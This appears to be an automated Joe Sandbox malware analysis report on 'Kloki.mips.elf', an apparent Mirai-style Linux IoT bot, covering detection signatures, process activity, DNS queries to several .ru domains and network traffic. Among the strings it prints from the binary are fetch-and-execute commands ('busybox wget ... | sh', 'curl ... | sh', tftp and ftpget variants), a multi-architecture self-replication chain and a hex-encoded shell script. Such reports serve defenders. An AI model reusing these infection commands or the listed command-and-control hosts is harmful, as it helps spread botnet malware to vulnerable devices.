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Linux Analysis Report
Kloki.mips.elf

Overview

General Information

Sample name:	Kloki.mips.elf
Analysis ID:	1604737
MD5:	0cb3f195c3dbae20b72eab4826859d34
SHA1:	515c1dfeacddd4b485f0f1920b3c74e54b04608c
SHA256:	5331bc94cc71fe1e02fa7c0fd060b4ba69edba08170772d67bee874c873e5608
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1604737
Start date and time:	2025-02-01 22:47:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	Kloki.mips.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/154@45/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: cuttiecats.ru

Runtime Messages

Command:	/tmp/Kloki.mips.elf
PID:	6244
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

Kloki.mips.elf (PID: 6244, Parent: 6163, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/Kloki.mips.elf

Kloki.mips.elf New Fork (PID: 6246, Parent: 6244)

Kloki.mips.elf New Fork (PID: 6248, Parent: 6246)

Kloki.mips.elf New Fork (PID: 6250, Parent: 6246)

Kloki.mips.elf New Fork (PID: 6251, Parent: 6246)

cleanup

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Kloki.mips.elf

Virustotal: Detection: 44%

Perma Link

Source: Kloki.mips.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 83.222.190.91 ports 38241,1,2,3,4,8

Sends malformed DNS queries

Source: global traffic	DNS traffic detected: malformed DNS query: cat-are-here.ru. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: mykittler.ru. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: gokittler.ru. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: polizei.su. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: newkittler.ru. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: kittlez.ru. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: kittlerer.ru. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: kittler.ru. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: thekittler.ru. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: qittler.ru. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: cuttiecats.ru. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: cats-master.ru. [malformed]

Source: global traffic

TCP traffic: 192.168.2.23:36266 -> 83.222.190.91:38241

Source: /tmp/Kloki.mips.elf (PID: 6244)

Socket: 127.0.0.1:39148

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 46.184.161.57
Source: unknown	TCP traffic detected without corresponding DNS query: 68.212.212.151
Source: unknown	TCP traffic detected without corresponding DNS query: 46.184.161.57
Source: unknown	TCP traffic detected without corresponding DNS query: 178.69.106.47
Source: unknown	TCP traffic detected without corresponding DNS query: 105.250.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 68.212.212.151
Source: unknown	TCP traffic detected without corresponding DNS query: 178.69.106.47
Source: unknown	TCP traffic detected without corresponding DNS query: 182.9.128.73
Source: unknown	TCP traffic detected without corresponding DNS query: 105.250.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 145.5.152.232
Source: unknown	TCP traffic detected without corresponding DNS query: 182.9.128.73
Source: unknown	TCP traffic detected without corresponding DNS query: 119.35.45.142
Source: unknown	TCP traffic detected without corresponding DNS query: 145.5.152.232
Source: unknown	TCP traffic detected without corresponding DNS query: 113.8.25.133
Source: unknown	TCP traffic detected without corresponding DNS query: 119.35.45.142
Source: unknown	TCP traffic detected without corresponding DNS query: 183.68.93.172
Source: unknown	TCP traffic detected without corresponding DNS query: 113.8.25.133
Source: unknown	TCP traffic detected without corresponding DNS query: 63.171.246.211
Source: unknown	TCP traffic detected without corresponding DNS query: 183.68.93.172
Source: unknown	TCP traffic detected without corresponding DNS query: 16.15.135.108
Source: unknown	TCP traffic detected without corresponding DNS query: 63.171.246.211
Source: unknown	TCP traffic detected without corresponding DNS query: 48.16.89.178
Source: unknown	TCP traffic detected without corresponding DNS query: 16.15.135.108
Source: unknown	TCP traffic detected without corresponding DNS query: 218.213.44.13
Source: unknown	TCP traffic detected without corresponding DNS query: 48.16.89.178
Source: unknown	TCP traffic detected without corresponding DNS query: 213.176.205.199
Source: unknown	TCP traffic detected without corresponding DNS query: 218.213.44.13
Source: unknown	TCP traffic detected without corresponding DNS query: 30.161.216.2
Source: unknown	TCP traffic detected without corresponding DNS query: 213.176.205.199
Source: unknown	TCP traffic detected without corresponding DNS query: 89.32.37.170
Source: unknown	TCP traffic detected without corresponding DNS query: 30.161.216.2
Source: unknown	TCP traffic detected without corresponding DNS query: 12.124.109.198
Source: unknown	TCP traffic detected without corresponding DNS query: 89.32.37.170
Source: unknown	TCP traffic detected without corresponding DNS query: 33.36.130.59
Source: unknown	TCP traffic detected without corresponding DNS query: 12.124.109.198
Source: unknown	TCP traffic detected without corresponding DNS query: 18.170.90.198
Source: unknown	TCP traffic detected without corresponding DNS query: 33.36.130.59
Source: unknown	TCP traffic detected without corresponding DNS query: 33.50.124.71
Source: unknown	TCP traffic detected without corresponding DNS query: 18.170.90.198
Source: unknown	TCP traffic detected without corresponding DNS query: 176.203.247.89
Source: unknown	TCP traffic detected without corresponding DNS query: 181.12.99.208
Source: unknown	TCP traffic detected without corresponding DNS query: 33.50.124.71
Source: unknown	TCP traffic detected without corresponding DNS query: 144.186.254.197
Source: unknown	TCP traffic detected without corresponding DNS query: 176.203.247.89
Source: unknown	TCP traffic detected without corresponding DNS query: 49.94.65.29
Source: unknown	TCP traffic detected without corresponding DNS query: 181.12.99.208
Source: unknown	TCP traffic detected without corresponding DNS query: 97.219.18.153
Source: unknown	TCP traffic detected without corresponding DNS query: 144.186.254.197
Source: unknown	TCP traffic detected without corresponding DNS query: 221.229.8.119

Source: global traffic	DNS traffic detected: DNS query: newkittler.ru
Source: global traffic	DNS traffic detected: DNS query: cat-are-here.ru. [malformed]
Source: global traffic	DNS traffic detected: DNS query: mykittler.ru. [malformed]
Source: global traffic	DNS traffic detected: DNS query: cuttiecats.ru
Source: global traffic	DNS traffic detected: DNS query: gokittler.ru. [malformed]
Source: global traffic	DNS traffic detected: DNS query: polizei.su. [malformed]
Source: global traffic	DNS traffic detected: DNS query: newkittler.ru. [malformed]
Source: global traffic	DNS traffic detected: DNS query: kittlez.ru. [malformed]
Source: global traffic	DNS traffic detected: DNS query: kittlerer.ru. [malformed]
Source: global traffic	DNS traffic detected: DNS query: kittler.ru. [malformed]
Source: global traffic	DNS traffic detected: DNS query: thekittler.ru. [malformed]
Source: global traffic	DNS traffic detected: DNS query: qittler.ru. [malformed]
Source: global traffic	DNS traffic detected: DNS query: mykittler.ru
Source: global traffic	DNS traffic detected: DNS query: cuttiecats.ru. [malformed]
Source: global traffic	DNS traffic detected: DNS query: kittlerer.ru
Source: global traffic	DNS traffic detected: DNS query: gokittler.ru
Source: global traffic	DNS traffic detected: DNS query: cats-master.ru. [malformed]
Source: global traffic	DNS traffic detected: DNS query: cats-master.ru

Source: Kloki.mips.elf	String found in binary or memory: http:///curl.sh
Source: Kloki.mips.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x lzrd; ./lzrd; ./rep.i486 selfrep; ./rep.x86 selfrep; ./rep.i686 selfrep; ./rep.x86_64 selfrep; ./rep.mips selfrep; ./rep.mpsl selfrep; ./rep.arm4 selfrep; ./rep.arm5 selfrep; ./rep.arm6 selfrep; ./rep.arm7 selfrep; ./rep.ppc selfrep; ./rep.spc selfrep; ./rep.m68k selfrep; ./rep.sh4 selfrep; ./rep.arc selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x lzrd; ./lzrd; ./rep.i486 selfrep; ./rep.x86 selfrep; ./rep.i686 selfrep; ./rep.x86_64 selfrep; ./rep.mips selfrep; ./rep.mpsl selfrep; ./rep.arm4 selfrep; ./rep.arm5 selfrep; ./rep.arm6 selfrep; ./rep.arm7 selfrep; ./rep.ppc selfrep; ./rep.spc selfrep; ./rep.m68k selfrep; ./rep.sh4 selfrep; ./rep.arc selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/154@45/0

Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6274/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6274/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6273/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6273/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6254/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6276/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6276/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6276/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6320/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6320/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6275/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6275/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6267/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6267/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6278/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6278/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6278/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6278/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6266/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6266/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6277/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6277/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6277/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6277/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6269/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6269/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6268/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6268/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6279/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6279/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6279/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6279/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6270/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6270/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6281/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6281/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6281/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6281/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6280/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6280/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6280/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6280/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6272/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6272/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6271/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6271/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6282/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6282/cmdline	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6282/maps	Jump to behavior
Source: /tmp/Kloki.mips.elf (PID: 6250)	File opened: /proc/6282/cmdline	Jump to behavior

Source: /tmp/Kloki.mips.elf (PID: 6244)

Queries kernel information via 'uname':

Jump to behavior

Source: Kloki.mips.elf, 6244.1.00007ffeec702000.00007ffeec723000.rw-.sdmp, Kloki.mips.elf, 6248.1.00007ffeec702000.00007ffeec723000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/Kloki.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Kloki.mips.elf
Source: Kloki.mips.elf, 6244.1.000055e2039a8000.000055e203a2f000.rw-.sdmp, Kloki.mips.elf, 6248.1.000055e2039a8000.000055e203a2f000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: Kloki.mips.elf, 6244.1.000055e2039a8000.000055e203a2f000.rw-.sdmp, Kloki.mips.elf, 6248.1.000055e2039a8000.000055e203a2f000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: Kloki.mips.elf, 6244.1.00007ffeec702000.00007ffeec723000.rw-.sdmp, Kloki.mips.elf, 6248.1.00007ffeec702000.00007ffeec723000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Kloki.mips.elf	44%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
cuttiecats.ru	83.222.190.91	true	true	unknown
newkittler.ru	83.222.190.91	true	true	unknown
mykittler.ru	83.222.190.91	true	false	high
cats-master.ru	83.222.190.91	true	false	high
kittlerer.ru	83.222.190.91	true	false	high
gokittler.ru	83.222.190.91	true	true	unknown
qittler.ru. [malformed]	unknown	unknown	true	unknown
gokittler.ru. [malformed]	unknown	unknown	true	unknown
kittler.ru. [malformed]	unknown	unknown	true	unknown
cats-master.ru. [malformed]	unknown	unknown	true	unknown
thekittler.ru. [malformed]	unknown	unknown	true	unknown
newkittler.ru. [malformed]	unknown	unknown	true	unknown
cuttiecats.ru. [malformed]	unknown	unknown	true	unknown
cat-are-here.ru. [malformed]	unknown	unknown	true	unknown
mykittler.ru. [malformed]	unknown	unknown	true	unknown
polizei.su. [malformed]	unknown	unknown	true	unknown
kittlez.ru. [malformed]	unknown	unknown	true	unknown
kittlerer.ru. [malformed]	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	Kloki.mips.elf	false		high
http:///curl.sh	Kloki.mips.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
67.84.14.74	unknown	United States	6128	CABLE-NET-1US	false
133.138.77.230	unknown	Japan	2500	WIDE-BBWIDEProjectJP	false
196.91.94.158	unknown	Morocco	6713	IAM-ASMA	false
77.66.243.232	unknown	Russian Federation	60496	KR-ROSTOVRU	false
107.232.244.48	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
16.106.63.33	unknown	United States	unknown	unknown	false
55.36.60.86	unknown	United States	323	DNIC-ASBLK-00306-00371US	false
44.217.46.250	unknown	United States	14618	AMAZON-AESUS	false
19.10.48.78	unknown	United States	3	MIT-GATEWAYSUS	false
52.8.168.213	unknown	United States	16509	AMAZON-02US	false
50.226.148.23	unknown	United States	33661	CMCSUS	false
21.111.178.230	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
78.212.243.46	unknown	France	12322	PROXADFR	false
93.217.229.80	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
14.248.40.203	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
197.100.176.187	unknown	South Africa	3741	ISZA	false
184.153.75.177	unknown	United States	12271	TWC-12271-NYCUS	false
190.239.251.156	unknown	Peru	6147	TelefonicadelPeruSAAPE	false
179.142.107.148	unknown	Brazil	53037	NEXTELTELECOMUNICACOESLTDABR	false
217.166.188.98	unknown	Netherlands	1136	KPNKPNNationalEU	false
177.252.153.163	unknown	Colombia	27831	ColombiaMovilCO	false
80.111.216.78	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
173.167.114.168	unknown	United States	7922	COMCAST-7922US	false
191.249.171.212	unknown	Brazil	18881	TELEFONICABRASILSABR	false
158.191.77.41	unknown	France	9159	CreditAgricoleFR	false
58.18.90.92	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
103.43.29.1	unknown	Hong Kong	137207	JUCC-AS-APJointUniversitiesComputerCentreLimitedHK	false
220.126.138.188	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
217.252.254.195	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
41.181.193.88	unknown	South Africa	16637	MTNNS-ASZA	false
48.64.13.157	unknown	United States	2686	ATGS-MMD-ASUS	false
206.246.191.237	unknown	United States	7332	LIGHTBOUND-ASUS	false
101.113.90.73	unknown	Australia	133612	VODAFONE-AS-APVodafoneAustraliaPtyLtdAU	false
196.241.124.8	unknown	Seychelles	37518	FIBERGRIDSC	false
178.242.239.122	unknown	Turkey	16135	TURKCELL-ASTurkcellASTR	false
23.165.255.5	unknown	Reserved	26073	COFRACTAL-001US	false
16.200.88.233	unknown	United States	unknown	unknown	false
169.208.192.211	unknown	Korea Republic of	37611	AfrihostZA	false
28.200.246.54	unknown	United States	7922	COMCAST-7922US	false
151.220.129.252	unknown	unknown	11003	PANDGUS	false
182.249.103.63	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
72.87.79.124	unknown	United States	701	UUNETUS	false
21.238.80.231	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
92.35.240.125	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
16.67.234.59	unknown	United States	unknown	unknown	false
118.68.33.140	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
112.210.168.213	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
189.59.119.111	unknown	Brazil	18881	TELEFONICABRASILSABR	false
40.111.40.85	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
63.159.99.161	unknown	United States	32996	AGRIBANK-STPAULUS	false
123.59.146.210	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
80.156.10.207	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
95.151.206.65	unknown	United Kingdom	12576	EELtdGB	false
217.128.100.84	unknown	France	3215	FranceTelecom-OrangeFR	false
144.8.206.171	unknown	United States	58541	CHINATELECOM-SHANDONG-QINGDAO-IDCQingdao266000CN	false
39.56.142.201	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
111.13.130.18	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
90.162.130.20	unknown	Spain	12479	UNI2-ASES	false
26.141.219.166	unknown	United States	7922	COMCAST-7922US	false
145.52.214.175	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
53.116.2.27	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
174.45.27.211	unknown	United States	33588	BRESNAN-33588US	false
177.231.142.230	unknown	Mexico	13999	MegaCableSAdeCVMX	false
104.180.93.102	unknown	United States	7018	ATT-INTERNET4US	false
31.106.44.112	unknown	United Kingdom	12576	EELtdGB	false
150.201.55.170	unknown	United States	2572	MORENETUS	false
80.247.10.58	unknown	United Kingdom	50624	OUTSCALEFR	false
80.218.246.193	unknown	Switzerland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
41.11.218.231	unknown	South Africa	29975	VODACOM-ZA	false
71.108.24.58	unknown	United States	701	UUNETUS	false
192.127.120.214	unknown	United States	394122	DEBEVOISEUS	false
204.248.107.150	unknown	United States	22713	CAC-HQ2US	false
69.9.39.80	unknown	United States	29838	AMCUS	false
196.31.60.250	unknown	South Africa	12091	MTNNS-1ZA	false
177.196.2.226	unknown	Brazil	26599	TELEFONICABRASILSABR	false
171.76.129.227	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
134.241.88.234	unknown	United States	1256	MASSNET-ASUS	false
109.14.248.245	unknown	France	15557	LDCOMNETFR	false
220.134.34.227	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
84.145.130.221	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
77.97.157.249	unknown	United Kingdom	5089	NTLGB	false
197.30.188.233	unknown	Tunisia	37492	ORANGE-TN	false
221.1.232.88	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
95.84.150.161	unknown	Russian Federation	42610	NCNET-ASRU	false
161.89.136.106	unknown	Netherlands	29063	ATOS-NL-ASEindhovenNL	false
65.37.3.152	unknown	United States	5650	FRONTIER-FRTRUS	false
3.172.241.90	unknown	United States	16509	AMAZON-02US	false
158.57.168.112	unknown	United States	1932	CONEDUS	false
